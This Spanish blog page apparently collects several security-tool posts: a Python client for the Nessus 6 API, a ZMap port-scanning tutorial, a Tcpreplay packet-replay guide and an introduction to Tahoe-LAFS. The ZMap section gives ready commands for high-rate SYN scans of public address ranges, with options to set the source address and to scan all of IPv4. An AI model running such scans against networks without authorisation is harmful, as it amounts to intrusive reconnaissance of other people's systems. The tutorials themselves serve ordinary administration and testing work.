Login with the Nessus server using the user and password specified.
'''
self.constructParamsAndHeaders(params= 'username':nessusUser, 'password':nessusPassword})
content = self.requestNessus(self.url+"/session", method="POST")
if content.has_key("token"):
self.token = content['token']
return content
client = NessusClient('127.0.0.1','8834')
client.login('adastra','password')
print str(client.call('/policies'))+"\n"
print str(client.call('/scans',
params={'folder_id':1, 'last_modification_date':1}))+"\n"
|
El servicio “/scans” es un claro ejemplo de los cambios se han implementado en Nessus en esta última versión, ya que ahora este tipo de elementos se almacenan en contenedores internos de llamados “folders”. Para poder consultar un listado de escaneos es obligatorio especificar el identificador del folder, tal como se ha visto en el script anterior.
Peticiones y respuestas tras invocar a los servicios “/scans” y “/policies”
La imagen corresponde a lo que pinta por pantalla el script anterior, de tal forma que se pueden ver las cabeceras de las peticiones así como también el cuerpo de las mismas. Las respuestas emitidas por Nessus vienen en formato JSON y contienen información sobre las políticas y escaneos que se han creado.
Si quieres conocer más sobre los servicios que se encuentran disponibles en la nueva versión Nessus, te recomiendo que te fijes en la documentación que viene incluida en https://<NESSUS_SERVER>:8834/nessus6-api.html#/ tendrás que levantar una instancia de Nessus y ver los servicios disponibles junto con sus métodos. Si bien la documentación no está mal, hay ciertos detalles importantes que no se detallan pero si que los encuentras en el foro de Nessus, así que también es un buen recurso para visitar con frecuencia.
La persona que me reporto el posible “fallo” en pynessus-rest también me pregunto que si pensaba actualizar la librería para hacerla compatible con los nuevos esquemas definidos en la versión actual. Francamente no tiene sentido dedicar tiempo y esfuerzos en hacer algo que muy probablemente se va a quedar obsoleto en pocos meses debido a que Tenable no consigue definir unas pautas mínimas de compatibilidad entre las distintas versiones de su software. Dicho esto, si utilizas Nessus 5, pynessus-rest te va a funcionar perfectamente a la hora de automatizar tareas, pero para la versión 6 tendrás que programar un poco más y crear tus propias de rutinas de parseo (y esperar a que no se rompa nada cuando salga una nueva versión de Nessus en unos pocos meses).
Un saludo y Happy Hack!
Adastra.
Escaneos en profundidad con ZMap
Probablemente muchos de los lectores de este blog conocen bastante bien el funcionamiento de Nmap y los principales tipos de escaneos que se pueden llevar a cabo con esta potente herramienta. Se trata de una utilidad muy especial en el arsenal de cualquier hacker o pentester, aunque sin duda lo es más, entender cuándo y en qué momento se debe lanzar un escaneo de un tipo determinado contra un objetivo, es decir, contar con el conocimiento sobre el modelo OSI y cómo se comunican los ordenadores entre si. Si bien Nmap permite cosas que otras herramientas similares no soportan, como por ejemplo sus capacidades de scripting por medio del motor NSE, es interesante conocer otras soluciones y proyectos que van por la misma línea de Nmap. Una de estas herramientas es “Zmap” un escáner de puertos muy interesante, especialmente desde el punto de vista de un investigador de seguridad. Lo que diferencia a este escáner de otros tan conocidos como Hping, Nmap, Queso, entre otros, es que cuenta con varias opciones para lanzar escaneos contra el espacio de direcciones IPv4 completo. Esto se traduce a que con “Zmap” es posible analizar de forma sistemática, todas las direcciones IPv4 que se encuentran disponibles en Internet. Dicho esto, hay que tener en cuenta ciertas limitaciones, especialmente relacionadas con la capacidad de computo del ordenador con el que se lanza la herramienta y la velocidad de la conexión a Internet. Evidentemente en la mayoría de los casos es mucho más interesante realizar escaneos específicos contra un segmento de red en Internet o en una Intranet en lugar de hacerlo contra el rango completo de direcciones IP, para ello Zmap también permite especificar subnets en formato CIDR y controlar la velocidad con la que se envían los paquetes de datos al objetivo del escaneo. Por defecto, la herramienta se encarga de realizar un escaneo del tipo TCP SYN sin realizar el TCP handshake completo contra el objetivo. Además, intenta hacerlo con la tasa de transferencia más rápida posible. Este comportamiento por defecto también se puede personalizar por medio de una serie de interruptores que se encuentran disponibles en la herramienta para cambiar el número de direcciones IP que se deben analizar, el tipo de escaneo, la velocidad de transferencia, listado de puertos, entre otras.
Instalación y uso de Zmap
Se puede instalar directamente sobre un sistema basado en Debian utilizando la herramienta “apt-get” o en sistemas basados en RedHat con la herramienta “yum”, sin embargo, en este tipo de herramientas suele ser más interesante descargar la última versión de su repositorio de fuentes y posteriormente compilar e instalar manualmente. El repositorio del proyecto se encuentra en la siguiente ruta y para instalarlo basta con ejecutar los siguientes comandos.
| >git clone https://github.com/zmap/zmap.git
>sudo apt-get install build-essential cmake libgmp3-dev libpcap-dev gengetopt byacc flex libjson-c-dev >cd zmap |
Una vez instalado, se puede comenzar a ejecutar el comando “zmap” y qué mejor forma que hacerlo utilizando el interruptor “–help” para ver las opciones de configuración que se encuentran disponibles en la herramienta.
| >zmap –help |
Los argumentos básicos para utilizar zmap son “-p”, “-o”, “-b”, “-w” y “-f”. A continuación se explica su uso mediante ejemplos.
| >sudo zmap -p 80
>sudo zmap -p 80 192.168.0.0/16 >sudo zmap -p 80 192.168.0.0/16 -B 10M |
Loa anteriores son ejemplos básicos sobre el uso de la herramienta, en donde el interruptor “-p” permite especificar el listado de puertos que serán escaneados en el objetivo, “-B” permite establecer un límite máximo en la velocidad de transferencia, “-n” permite establecer un límite máximo en el número total de máquinas que se deben analizar y “-o” permite establecer un fichero en el que se escribirán los resultados arrojados por la herramienta. Finalmente, la herramienta recibe por argumento un listado de subnets que serán analizadas, aunque también es posible omitir dicho argumento y en tal caso, el escaneo se realizará contra el rango completo de direcciones IPv4, algo que como he comentado anteriormente, no es el mejor de los escenarios, no solamente por cuestiones de rendimiento y uso de los recursos del ordenador, sino porque es posible que algún objetivo “se queje” y denuncie de un posible ataque contra sus infraestructuras por realizar un escaneo de puertos sin autorización.
Si se utiliza el interruptor “-o”, por defecto solamente incluye las direcciones IP únicas que han contestado correctamente a un paquete del tipo SYN/ACK, sin embargo se pueden utilizar reglas sobre los campos que se deben incluir en el reporte final utilizando “-f”. Para conocer todos los filtros que se pueden aplicar con este interruptor, se puede ejecutar zmap con “–list-output-fields”
| >zmap –list-output-fields
saddr string: source IP address of response saddr-raw int: network order integer form of source IP address daddr string: destination IP address of response daddr-raw int: network order integer form of destination IP address ipid int: IP identification number of response ttl int: time-to-live of response packet sport int: TCP source port dport int: TCP destination port seqnum int: TCP sequence number acknum int: TCP acknowledgement number window int: TCP window classification string: packet classification success int: is response considered success repeat int: Is response a repeat response from host cooldown int: Was response received during the cooldown period timestamp-str string: timestamp of when response arrived in ISO8601 format. timestamp-ts int: timestamp of when response arrived in seconds since Epoch timestamp-us int: microsecond part of timestamp (e.g. microseconds since ‘timestamp-ts’) |
Para conocer en detalle las combinaciones que se pueden aplicar con estos campos, se recomienda leer la sección correspondiente en la documentación oficial: https://zmap.io/documentation.html#outputfilter
Por otro lado, además del uso básico de Zmap con los interruptores anteriormente explicados, también existen algunos ficheros de configuración que permiten controlar el comportamiento de la herramienta y jugar con diferentes escenarios. Uno de los más importantes es el “blacklist.conf”, el cual permite especificar un listado de direcciones IP en formato CIDR que serán ignoradas del proceso de escaneo. Se recomienda incluir en dicho fichero, direcciones que no son objeto de análisis, tales como direcciones de broadcast/multicast y otras direcciones reservadas. Para especificar un fichero de “blacklist” personalizado se utiliza el interruptor “-b”.
Para establecer ciertas configuraciones personalizadas se puede crear un fichero de configuración que será utilizado por Zmap para establecer algunos valores por defecto cuando se arranca la herramienta, algunos de esos valores incluyen cosas como la interfaz de red por defecto que se utilizará, direcciones IP y MAC de origen de las peticiones, tiempo de espera antes de pasar a la siguiente dirección IP a analizar, entre otras cosas interesantes. Existe un fichero de configuración por defecto que se encuentra ubicado en “/etc/zmap/zmap.conf” o en “<ZMAP_INSTALL>/conf/zmap.conf” dependiendo de si se ha instalado desde el código fuente o utilizando apt-get/yum. Para especificar un fichero de configuración personalizado se utiliza el interruptor “-C”. Un ejemplo del contenido que puede tener un fichero de configuración de Zmap puede ser el siguiente
| target-port 443
rate 10000 bandwidth 1M # 1mbps blacklist-file “/etc/zmap/blacklist.conf” summary |
Como se puede apreciar, son opciones que se encuentran disponibles en la herramienta en la forma de interruptores, pero en este caso, se puede indicar un valor por defecto en el fichero de configuración y omitir el uso del interruptor en cuestión, algo que facilitará mucho las cosas.
| >sudo zmap -C /etc/zmap/zmap.conf 62.81.210.0/16 |
Configuración avanzada en Zmap
En primer lugar, existen una serie de interruptores que permiten controlar los escaneos que se realizan contra las direcciones IP analizadas. Dichas opciones permiten establecer cosas tales como:
-B: La tasa de bits por segundo enviados por la herramienta (utilizando los sufijos K, M y G para especificar diferentes medidas).
-e: Establecer una semilla para la permutación de direcciones IP en el escaneo, algo realmente útil si se desea ejecutar Zmap desde consolas separadas y definiendo diferentes rangos ordenados.
–shards: Particionar el escaneo para ejecutar en diferentes instancias de Zmap, actuando de forma similar al uso de las semillas explicado antes.
–r: Permite establecer la tasa de envío de paquetes por segundo.
-T: Número de hilos concurrentes que utilizará la herramienta para el envío de paquetes. Por defecto, solamente utiliza un único hilo.
Además de estas opciones, también existen otros interruptores que se centran más en la estructura de los paquetes y otros parámetros de red que serán empleados para que Zmap construya los paquetes de datos que se enviarán al objetivo de una forma determinada. Algunos de dichos interruptores se listan a continuación:
-s: Puerto de origen de los paquetes enviados al destino.
-S: Dirección IP de origen de los paquetes enviados al destino.
-i: Nombre de la interfaz de red utilizada para el proceso de escaneo.
Con todas estas opciones, se pueden hacer algunas pruebas del funcionamiento de la herramienta y analizar su comportamiento.
1. Se especifica que Zmap debe intentar enviar 1 Gigabyte de datos cada segundo en el proceso de escaneo
| >sudo zmap -B 1G 62.168.1.0/16 -p 443 |
2. Se especifica que Zmap debe intentar enviar 1 Gigabyte de datos cada segundo en el proceso de escaneo con una taza máxima de 20 paquetes por segundo.
| >sudo zmap -B 1G 62.168.1.0/16 -r 20 -p 443 |
3. Se especifica que Zmap paquetes de datos con una taza máxima de 20 paquetes por segundo.
| >sudo zmap -r 20 62.168.1.0/16 -p 443 |
4. Define el valor 555 como puerto de origen de los paquetes enviados al destino y “192.168.20.112” como dirección IP de origen.
| >sudo zmap -s 555 -S 192.168.20.112 62.168.1.0/16 -p 443 |
5. Ejecuta el escaneo anterior utilizando un nombre de interfaz de red distinto (“eth4”) y 20 hilos concurrentes.
| >sudo zmap -s 555 -S 192.168.20.112 62.168.1.0/16 -i eth4 -T 20 -p 443 |
Una de las características más interesantes que tiene Zmap, es la posibilidad de crear y utilizar módulos preexistentes, los cuales permiten la generación de paquetes de pruebas para enviar y procesar respuestas desde los hosts escaneados. Es un concepto bastante similar al motor NSE que existen en Nmap, sin embargo a la fecha de redactar este artículo, existen solamente 3 módulos para realizar pruebas y evidentemente, no son tan robustos como los que se encuentran incluidos en Nmap para la detección de vulnerabilidades o recolección de información, pero desde luego va por muy buen camino. Para listar los módulos disponibles se utiliza el interruptor “–list-probe-modules”
| >sudo zmap –list-probe-modules
tcp_synscan icmp_echoscan udp |
icmp_echoscan:
Este módulo permite ejecutar peticiones ICMP request contra cada uno de los objetivos del escaneo e incluir entre los resultados, el paquete ICMP reply que ha devuelto cada uno de los objetivos.
| >sudo zmap 62.168.1.0/16 -T 20 -M icmp_echoscan -p 443 |
udp:
Con este módulo, la herramienta se encargará de enviar un datagrama UDP a cada uno de los destinos del escaneo. Las respuestas en este caso por parte de los destinatarios pueden ser, o bien un paquete UDP en el caso de que el host se encuentre activo en el puerto especificado y que funcione sobre UDP o un paquete ICMP del tipo “Unreachable host”. También es posible utilizar el interruptor “–probe-args” para especificar opciones adicionales a los módulos y en el caso concreto del módulo “udp” se pueden utilizar 4 tipos diferentes de payloads que serán enviados junto con los datagramas UDP. Dichos argumentos son: “text”, “hex”, “file” y “template”. Por ejemplo:
| >sudo zmap -M udp -p 1434 –probe-args=text:HELO -N 100 -f saddr,data |
Zmap es una herramienta muy flexible que merece la pena utilizar con más frecuencia y que desde luego, tiene méritos de sobra para hacer parte de la “caja de herramientas” de un hacker.
Un saludo y Happy Hack!
Adastra.
Retransmisión de trafico con TCPReplay
Tcpreplay es una suite de herramientas para el análisis y manipulación de paquetes de datos, muy utilizada principalmente por administradores de sistemas y redes. Las herramientas incluidas en Tcpreplay funcionan principalmente sobre ficheros PCAP que han sido generados previamente por herramientas como tcpdump, wireshark, ethereal, etc. Permiten modificar las cabeceras de los paquetes en varias de sus capas para posteriormente reinyectarlos en la red o también para clasificar y tipificar los paquetes de datos incluidos en los ficheros PCAP. Dicho esto, el principal objetivo de TCPReplay es permitir la modificación de paquetes de datos para probar el funcionamiento de routers, firewalls, IDS/IPS y similares, no obstante es importante tener en cuenta que no funciona adecuadamente contra servidores concretos de cualquier tipo, ya que es un “stateless dispacher”, lo que quiere decir que se encarga de gestionar la posible comunicación que puede existir entre un cliente y un servidor. TCPReplay no soporta flujos de comunicación o el modelo clásico de múltiples peticiones y respuestas, solamente se encarga de replicar los paquetes de datos contenidos en un PCAP. En este articulo os hablaré de esta herramienta, pero seguramente para muchos de vosotros sea más interesante una herramienta que permita hacer labores de fuzzing contra servicios concretos simplemente alterando y reinyectado los paquetes contenidos en un PCAP, para esto también hay varias utilidades y librerías de las que hablaré en el próximo post.
Para empezar, hay que tener en cuenta que hay una versión bastante antigua de la herramienta y que fue inicialmente desarrollada por Aaron Turner (http://tcpreplay.synfin.net/) pero desde hace un tiempo, el equipo de Appneta a tomado el control y ahora todas las mejoras se suben directamente a su repositorio Git. La herramienta se puede instalar directamente desde el código, el cual se encuentra ubicado en el siguiente repositorio: https://github.com/appneta/tcpreplay o en sistemas basados en Debian con APT-GET (instala una versión antigua).
| >./configure –prefix=/opt/tcpreplay >make>sudo make install >cd bin >ls -l total 2916 -rwxr-xr-x 1 adastra adastra 516147 jun 11 00:33 tcpbridge -rwxr-xr-x 1 adastra adastra 120661 jun 11 00:33 tcpcapinfo -rwxr-xr-x 1 adastra adastra 404802 jun 11 00:33 tcpliveplay -rwxr-xr-x 1 adastra adastra 433456 jun 11 00:33 tcpprep -rwxr-xr-x 1 adastra adastra 444838 jun 11 00:33 tcpreplay -rwxr-xr-x 1 adastra adastra 553339 jun 11 00:33 tcpreplay-edit -rwxr-xr-x 1 adastra adastra 496851 jun 11 00:33 tcprewrite |
Una vez instalado, se puede ver la versión del programa y las características soportadas.
| >./tcpreplay -V |
Ahora es el momento de utilizar la herramienta y jugar un poco con los interruptores que soporta. Antes de continuar, es necesario contar con un fichero PCAP que será utilizado por la herramienta para replicar los paquetes de datos que se encuentran almacenados en dicho fichero. Para realizar pruebas simples, se pueden capturar paquetes con TCPDump, Wireshark o Scapy y guardarlos en un PCAP o también es posible descargar alguno de los ficheros de ejemplo que se encuentran subidos en el proyecto. http://tcpreplay.appneta.com/wiki/captures.html
Para efectos prácticos, se utilizarán los ficheros PCAP del proyecto, los cuales se pueden abrir con una herramienta como wireshark
PCAP de “BigFlows”
Partiendo de este fichero, se puede utilizar la herramienta e indicar la interfaz de red que será utilizada para el envío de los paquetes.
| >sudo ./tcpreplay -i eth0 -t /home/adastra/Escritorio/smallFlows.pcap
File Cache is enabled Actual: 14261 packets (9216531 bytes) sent in 0.087737 seconds. Rated: 105047254.8 Bps, 840.37 Mbps, 162542.59 pps Flows: 1209 flows, 13779.81 fps, 14243 flow packets, 18 non-flow Statistics for network device: eth0 Attempted packets: 14261 Successful packets: 14261 Failed packets: 0 Truncated packets: 0 Retried packets (ENOBUFS): 0 Retried packets (EAGAIN): 0 |
El ejemplo anterior utiliza el interruptor “-i” para especificar el dispositivo primario de salida, por medio del cual se enviarán los paquetes del fichero PCAP y con “-t” se especifica que los paquetes deben enviarse tan pronto como sea posible.
Existen otras opciones que permiten limitar la velocidad, el número de paquetes máximo a enviar o incluso, especificar otro dispositivo de salida por el que también se replicará el trafico.
| >sudo ./tcpreplay -i eth0 -p 100 -L 100 /home/adastra/Escritorio/smallFlows.pcap
Actual: 101 packets (61705 bytes) sent in 1.00 seconds. Rated: 61653.7 Bps, 0.493 Mbps, 100.91 pps Flows: 11 flows, 10.99 fps, 101 flow packets, 0 non-flow Statistics for network device: eth0 Attempted packets: 101 Successful packets: 101 Failed packets: 0 Truncated packets: 0 Retried packets (ENOBUFS): 0 Retried packets (EAGAIN): 0 |
El interruptor “-p” permite indicar el número de paquetes que se enviarán por segundo y “-L” indica el número total de paquetes que se deben leer y enviar desde el PCAP. Como se puede apreciar, en este caso concreto ambos interruptores tienen el valor “100” por este motivo los paquetes se han enviado en exactamente 1 segundo.
Por otro lado, anteriormente se ha utilizado el interruptor “-t” que indica que los paquetes deben enviarse a su destino lo más rápido posible, sin embargo existe otra opción que permite controlar la velocidad de trasferencia de los paquetes, dicho interruptor es –mbps.
| >sudo ./tcpreplay -i eth0 -L 100 –mbps 9500 /home/adastra/Escritorio/smallFlows.pcap
Actual: 101 packets (61705 bytes) sent in 0.000525 seconds. Rated: 117533333.3 Bps, 9490.26 Mbps, 192380.95 pps Flows: 11 flows, 20952.38 fps, 101 flow packets, 0 non-flow Statistics for network device: eth0 Attempted packets: 101 Successful packets: 101 Failed packets: 0 Truncated packets: 0 Retried packets (ENOBUFS): 0 Retried packets (EAGAIN): 0 |
En este caso, se envían los paquetes a un máximo de 9500 MB por segundo y tal como se puede ver en las estadísticas que arroja “tcprelay”, el promedio ha sido de 9490 MBPS. Evidentemente, entre más bajo sea este valor, más tiempo tardará la herramienta en replicar los paquetes de datos.
Otra característica interesante de TCPReplay es la posibilidad de controlar los flujos de trafico, los cuales son simplemente una secuencia de paquetes que se intercambian entre un emisor y un receptor. Por ejemplo, el clásico TCP Hanshake, es un “traffic flow” que se compone por una serie de paquetes que de forma independiente puede que no tengan mayor sentido, pero cuando se relacionan con otros paquetes tienen significado bien definido. TCPReplay cuenta con varios interruptores para controlar los flujos contenidos en un fichero PCAP. Uno de ellos es “–unique-ip”, el cual se encarga de modificar la dirección IP de destino tras cada repetición de un bucle (con el interruptor –loop). Con “–flow-expiry”, se le indica a la herramienta que debe ignorar aquellos flujos que se consideran “expirados”, es decir, aquellos que tardan más tiempo del especificado en completarse. El valor de este interruptor debe indicarse en segundos y evidentemente, entre más pequeño sea, mayor será el número de paquetes descargados ya que se consideran que hacen parte de un flujo expirado.
| >sudo ./tcpreplay -i eth0 -t –flow-expiry 30 /home/adastra/Escritorio/bigFlows.pcap
Actual: 791615 packets (355417784 bytes) sent in 8.01 seconds. Rated: 43556960.3 Bps, 348.45 Mbps, 97013.55 pps Flows: 58505 flows, 40686 unique, 17819 expired, 7169.87 fps, 791179 flow packets, 436 non-flow Statistics for network device: eth0 Attempted packets: 791615 Successful packets: 791615 Failed packets: 0 Truncated packets: 0 Retried packets (ENOBUFS): 0 Retried packets (EAGAIN): 0 |
El fichero “bigFlows.pcap” contiene una buena muestra de datos con paquetes de todo tipo, con lo cual es una buena forma de ver el funcionamiento de estos interruptores. En este caso concreto se puede ver que el número de flujos que tardan 30 o más segundos en completarse son marcados como expirados.
| >sudo ./tcpreplay -i eth0 -t –flow-expiry 90 /home/adastra/Escritorio/bigFlows.pcap
Actual: 791615 packets (355417784 bytes) sent in 7.08 seconds. Rated: 45216137.2 Bps, 361.72 Mbps, 100709.00 pps Flows: 41818 flows, 40686 unique, 1132 expired, 5320.07 fps, 791179 flow packets, 436 non-flow Statistics for network device: eth0 Attempted packets: 791615 Successful packets: 791615 Failed packets: 0 Truncated packets: 0 Retried packets (ENOBUFS): 0 Retried packets (EAGAIN): 0 |
Como se puede ver en las estadísticas generadas por la herramienta, el número de flujos expirados es muchísimo menor, ya que el limite que se ha especificado es de 1 minuto y medio, un valor lo suficientemente alto como para considerar que se trata de una conexión extremadamente lenta o simplemente que el destinatario no era capaz de procesar los paquetes enviados por el emisor debido a que se encontraba ocupado o no disponible.
Existen algunas otras características interesantes en TCPReplay, tales como la posibilidad de integrar Netmap para mejorar las operaciones I/O por medio de buffers RX/TX preasignados y buffers en memoria con accesos asíncronos.
Un saludo y Happy Hack!
Adastra.
Tahoe-LAFS Sistema de almacenamiento en la nube privado y seguro – Parte 1
El “cloud storage” o almacenamiento en la nube, se ha vuelto muy popular debido a la flexibilidad y beneficios que aporta a los usuarios. La habilidad de subir documentos a un servicio en Internet y poder acceder a ellos desde cualquier lugar y en cualquier momento, es algo muy atractivo para cualquiera, sin embargo en muchas ocasiones, al utilizar algunos de estos servicios en Internet, los usuarios se exponen a varias amenazas que pueden afectar directamente la confidencialidad e integridad de su información. Es cierto que muchos de los proveedores de los servicios de almacenamiento en la nube intentan asegurar los recursos de sus usuarios de la forma más rigurosa posible, pero en algunos casos, con la excusa de mantener la información de sus usuarios “segura” y confidencial, acceden directamente a dicha información, vulnerando de esta forma su privacidad.
Una buena forma de utilizar estos servicios es por medio del cifrado de los documentos desde el origen y de esta forma, evitar que un tercero tenga acceso directo a la información de los documentos almacenados en la nube, pero aun así, es necesario un registro y posterior entrega de datos personales al proveedor. Para los usuarios de redes anónimas tales como I2P, existe una solución que puede resultar mucho más interesante y que no exige el registro de datos personales ni de ningún tipo, permitiendo de esta forma almacenar documentos de forma distribuida y privada. Dicha solución es Tahoe-LAFS.
Tahoe-LAFS (The Last Authority File Store) es un sistema descentralizado y abierto que se encarga de distribuir los documentos de un usuario por múltiples servidores Tahoe. De esta forma, es posible seguir accediendo a la información de forma transparente aunque uno o varios de los servidores se encuentren caídos o comprometidos por un atacante. Solamente el propietario de los documentos o con los permisos adecuados puede ver sus contenidos, esto en Tahoe es lo que se conoce como “Provider Independent Security”, que es justo lo contrario a lo que suele verse en los principales proveedores de almacenamiento en la nube, ya que en este caso, el proveedor del servicio nunca tendrá acceso ni podrá leer y/o modificar la información de ninguno de sus usuarios. Justo lo opuesto a los proveedores de almacenamiento convencionales.
Funcionamiento básico de Tahoe-LAFS
El funcionamiento de Tahoe-LAFS se basa en el concepto de “Storage Grid”, que no es más que un conjunto de servidores de almacenamiento que se encargan de mantener los documentos de los usuarios del sistema. Un servidor de almacenamiento es simplemente un repositorio de datos, el cual no tiene la habilidad de actuar directamente sobre ellos, solamente se encarga de almacenarlos y brindar acceso a uno o varios “gateway”. Un gateway es un sistema independiente que se encarga de comunicarse con los servidores de almacenamiento y proveer acceso a la información que se encuentra almacenada en ellos por medio de protocolos de comunicación comunes tales como HTTP/S, SFTP o FTP. De esta forma un cliente, se comunicará con un gateway y éste a su vez, se comunicará con los servidores de almacenamiento para permitir el acceso a sus documentos. Un cliente en este caso puede ser un navegador web, un programa que se ejecuta por línea de comandos un cliente SFTP, etc. Tal como se mencionaba anteriormente, los servidores de almacenamiento tienen acceso a la información de sus usuarios y la información que se transfiere entre dichos servidores, el gateway y el cliente, se encuentra cifrada, impidiendo que cualquier “entidad” intermedia pueda manipular directamente los datos transferidos.
El procedimiento de instalación de Tahoe-LAFS se detalla a continuación.
Instalación de Tahoe-LAFS
Para instalar una instancia de Tahoe, es necesario tener Python instalado en el ordenador, preferiblemente la versión 2.7 ya que la última versión de Tahoe no funciona correctamente sobre la versión 3.x de Python. Una vez descargada la última versión estable del proyecto desde el siguiente enlace: https://tahoe-lafs.org/trac/tahoe-lafs se procede a instalar ejecutando el siguiente comando:
| >python setup.py build |
El comando anterior se encargará de instalar todas dependencias necesarias para poder arrancar correctamente Tahoe en uno de los modos descritos anteriormente (server o gateway) y además, se encargará también de generar un fichero ejecutable en el directorio <TAHOE_INSTALL>/bin.
En el caso de que exista algún problema ejecutando el script anterior, es posible que falte alguna dependencia necesaria en el sistema y no se ha podido obtener de manera automática por algún motivo. En tal caso, es necesario instalar manualmente la dependencia en cuestión, aunque son programas que suelen venir instalados por defecto en las en las últimas versiones de sistemas basados en Debian.
Por otro lado, para verificar la disponibilidad de todas las funciones que incluye Tahoe, se puede ejecutar el script setup.py con el argumento “trail”
| >python setup.py trial |
En tal caso, se podrán ver por pantalla, cada una de las funciones de Tahoe y si se ha podido comprobar que se encuentran correctamente instaladas y configuradas.
Uso de Tahoe-LAFS
Después de instalar el programa, es el momento de comenzar a utilizarlo y ver cuales son las opciones que se encuentran disponibles a los usuarios. En primer lugar, es posible crear clientes o un storage grid completo, todo esto ejecutando la utilidad “tahoe” que se ha generado automáticamente en el directorio “<TAHOE_INSTALL>/bin” tras ejecutar el proceso de instalación.
El primer paso para comenzar a utilizar el programa, consiste en crear un cliente simple, para ello se ejecuta el siguiente comando:
| >./tahoe create-client Node created in ‘/home/adastra/.tahoe’
Please set [client]introducer.furl= in tahoe.cfg! The node cannot connect to a grid without it. Please set [node]nickname= in tahoe.cfg |
Como se puede apreciar, con el comando anterior se ha creado un cliente simple y se ha creado también el directorio “~/.tahoe”. Tal como se enseña en la salida del comando, se debe establecer la propiedad “introducer.furl” en el fichero de configuración del nodo recién creado (tahoe.cfg) para que de esta forma, sea posible conectar al cliente con un storage grid de servidores.
Para probar las funcionalidades del sistema, existe un storage grid público que se encuentra activo para que los usuarios puedan interactuar con el sistema y opcionalmente con otros usuarios, para encontrar más detalles sobre dicho storage grid, se recomienda ver el siguiente enlace: https://tahoe-lafs.org/trac/tahoe-lafs/wiki/TestGrid
Tal como se explicaba anteriormente, es necesario establecer las propiedades “introducer.furl” y “nickname” en el fichero de configuración del cliente creado anteriormente, para ello se debe editar el fichero de configuración “<TAHOE_INSTALL/.tahoe/tahoe.cfg” y definir los valores adecuados en la sección “[client]”. Ahora bien, los valores de estas propiedades dependerán de si el usuario utiliza el storage grid de pruebas o uno propio. En el caso de utilizar uno propio, se debe indicar el valor del introducer de dicho storage grid en la propiedad “introducer.furl”, en el caso de utilizar el de pruebas, dicho valor se encuentra en el siguiente enlace: https://tahoe-lafs.org/trac/tahoe-lafs/wiki/TestGrid#HowToConnectToThePublicTestGrid
Después de establecer las dos propiedades de configuración anteriores, se puede arrancar el cliente con el siguiente comando.
| >./tahoe run ~/.tahoe STARTING ‘/home/adastra/.tahoe’
running node in ‘/home/adastra/.tahoe’ 2015-06-21 18:29:16+0200 [-] Log opened. 2015-06-21 18:29:16+0200 [-] twistd 13.2.0 (/usr/bin/python 2.7.6) starting up. 2015-06-21 18:29:16+0200 [-] reactor class: twisted.internet.epollreactor.EPollReactor. 2015-06-21 18:29:16+0200 [-] Listener starting on 37384 2015-06-21 18:29:16+0200 [-] NevowSite starting on 3456 2015-06-21 18:29:16+0200 [-] Starting factory <nevow.appserver.NevowSite instance at 0x7f36175311b8> 2015-06-21 18:29:16+0200 [-] My pid: 13852 2015-06-21 18:29:16+0200 [-] DatagramProtocol starting on 57219 2015-06-21 18:29:16+0200 [-] Starting protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f3617547d88> 2015-06-21 18:29:16+0200 [-] (UDP Port 57219 Closed) 2015-06-21 18:29:16+0200 [-] Stopping protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f3617547d88> |
Ahora que el cliente se ha ejecutado sin errores, lo primero que hará será conectarse con el “introducer” y obtener un listado de storage servers. Es importante tener en cuenta que con lo anterior, solamente se crea un cliente plano, sin ninguna capacidad de almacenar y compartir archivos de otros usuarios, algo que desde luego, es una de las principales potencialidades del sistema y como se verá en un próximo artículo, no es demasiado difícil de instalar y configurar.
A partir de aquí, el usuario puede interactuar con el grid de varias formas, una de ellas es por medio de una interfaz web muy simple que se levanta automáticamente en el puerto 3456. La siguiente imagen enseña dicha interfaz.
Interfaz web del cliente Tahoe.
Como se puede ver, aparece la dirección del “Introducer”, los servidores de almacenamiento conectados y a la izquierda, un panel muy simple para subir directorios o descargar ficheros al sistema de almacenamiento. Cuando se sube un fichero o directorio, automáticamente se generará una URI única del fichero, la cual seguirá el siguiente formato
| URI:SSK:xxx:xxxx |
Dicha URI debe ser utilizada para acceder al documento y se debe ingresar en el campo de texto de la interfaz web que pone “OPEN TAHOE-URI”.
La interfaz web es solamente uno de los mecanismos disponibles en Tahoe para interactuar con los servidores de almacenamiento, pero no es el único, ya que también es posible interactuar con el grid por medio de los comandos disponibles en la utilidad “tahoe” o incluso también es posible utilizar una API Rest para interactuar con el sistema por medio de peticiones HTTP(S).
El objetivo de esta primera entrada era el de introducir al lector en los conceptos básicos de Tahoe-LAFS y en las próximas dos publicaciones, se hablará sobre configuración avanzada del sistema, creación de un grid, uso de la web api y cómo desplegar Tahoe-LAFS en I2P.
Un saludo y Happy Hack!
Adastra.
Servicios en TheHackerWay
Deep web: Privacidad y anonimato.
Hacking con Python
Python para Pentesters
Número de Visitas:
Sobre Adastra:
Soy un entusiasta de la tecnología y la seguridad informática, me siento atraído principalmente por la cultura y los fundamentos del Gray Hat Hacking.
Soy una persona afortunada de poder dedicar mi tiempo y energía en hacer lo que me apasiona, aprendiendo y compartiendo lo aprendido. Con bastante frecuencia iré publicando entradas relacionadas con estudios y técnicas que he ido asimilando a lo largo de mis investigaciones, todas enfocadas a las diferentes facetas de la informática con un énfasis especial en la seguridad.
Saludos y Happy Hack!
adastra
